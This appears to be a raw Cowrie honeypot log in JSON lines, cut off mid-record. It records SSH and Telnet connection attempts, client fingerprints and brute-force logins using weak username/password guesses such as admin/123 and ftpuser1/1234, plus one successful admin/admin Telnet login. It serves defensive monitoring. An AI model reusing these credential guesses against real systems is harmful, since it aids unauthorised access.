{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:52:05.568662Z","src_ip":"68.183.236.1","session":"d62c40ca3094","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"1234","message":"login attempt [ftpuser1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:52:06.588142Z","src_ip":"68.183.236.1","session":"d62c40ca3094","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:52:07.836788Z","src_ip":"68.183.236.1","session":"d62c40ca3094","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60836,"dst_ip":"159.203.135.109","dst_port":22,"session":"19b639f66d8c","protocol":"ssh","message":"New connection: 159.203.92.129:60836 (159.203.135.109:22) [session: 19b639f66d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:52:12.575301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:52:12.580919Z","src_ip":"159.203.92.129","session":"19b639f66d8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:52:12.586160Z","src_ip":"159.203.92.129","session":"19b639f66d8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12","message":"login attempt [admin/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:52:12.598315Z","src_ip":"159.203.92.129","session":"19b639f66d8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:52:13.605479Z","src_ip":"159.203.92.129","session":"19b639f66d8c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:52:16.901517Z","src_ip":"120.241.79.66","session":"dd35e919d8a9","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:52:16.952922Z","src_ip":"120.241.79.66","session":"dd35e919d8a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48948,"dst_ip":"159.203.135.109","dst_port":22,"session":"05745655e004","protocol":"ssh","message":"New connection: 159.203.92.129:48948 (159.203.135.109:22) [session: 05745655e004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:52:56.461198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:52:56.466795Z","src_ip":"159.203.92.129","session":"05745655e004","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:52:56.472768Z","src_ip":"159.203.92.129","session":"05745655e004","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123","message":"login attempt [admin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:52:56.486080Z","src_ip":"159.203.92.129","session":"05745655e004","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:52:57.493942Z","src_ip":"159.203.92.129","session":"05745655e004","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":60956,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f6f5fafe4e1","protocol":"ssh","message":"New connection: 68.183.236.1:60956 (10.17.0.5:22) [session: 2f6f5fafe4e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:53:07.420570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:53:07.429137Z","src_ip":"68.183.236.1","session":"2f6f5fafe4e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:53:07.676067Z","src_ip":"68.183.236.1","session":"2f6f5fafe4e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"password321","message":"login attempt [test1/password321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:53:08.692439Z","src_ip":"68.183.236.1","session":"2f6f5fafe4e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:53:09.944605Z","src_ip":"68.183.236.1","session":"2f6f5fafe4e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50626,"dst_ip":"159.203.135.109","dst_port":22,"session":"19665b963a0f","protocol":"ssh","message":"New connection: 159.203.92.129:50626 (159.203.135.109:22) [session: 19665b963a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:53:39.995154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:53:40.000854Z","src_ip":"159.203.92.129","session":"19665b963a0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:53:40.012051Z","src_ip":"159.203.92.129","session":"19665b963a0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123!","message":"login attempt [admin/123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:53:40.024665Z","src_ip":"159.203.92.129","session":"19665b963a0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:53:41.032701Z","src_ip":"159.203.92.129","session":"19665b963a0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":39056,"dst_ip":"10.17.0.5","dst_port":22,"session":"2aab5ee59d01","protocol":"ssh","message":"New connection: 68.183.236.1:39056 (10.17.0.5:22) [session: 2aab5ee59d01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:54:04.818325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:54:04.823924Z","src_ip":"68.183.236.1","session":"2aab5ee59d01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:54:05.061692Z","src_ip":"68.183.236.1","session":"2aab5ee59d01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3bot","password":"qwerty","message":"login attempt [ts3bot/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:54:06.044753Z","src_ip":"68.183.236.1","session":"2aab5ee59d01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:54:07.288658Z","src_ip":"68.183.236.1","session":"2aab5ee59d01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41980,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8e993325c06","protocol":"ssh","message":"New connection: 159.203.92.129:41980 (159.203.135.109:22) [session: c8e993325c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:54:23.689117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:54:23.696686Z","src_ip":"159.203.92.129","session":"c8e993325c06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:54:23.701638Z","src_ip":"159.203.92.129","session":"c8e993325c06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123!@#","message":"login attempt [admin/123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:54:23.714161Z","src_ip":"159.203.92.129","session":"c8e993325c06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:54:24.721798Z","src_ip":"159.203.92.129","session":"c8e993325c06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.45","src_port":49062,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d88416dcdbe","protocol":"telnet","message":"New connection: 176.65.139.45:49062 (159.203.135.109:23) [session: 0d88416dcdbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:54:42.543720Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":33982,"dst_ip":"10.17.0.5","dst_port":22,"session":"b76b136fa7fd","protocol":"ssh","message":"New connection: 68.183.236.1:33982 (10.17.0.5:22) [session: b76b136fa7fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:55:01.799701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:55:01.805476Z","src_ip":"68.183.236.1","session":"b76b136fa7fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 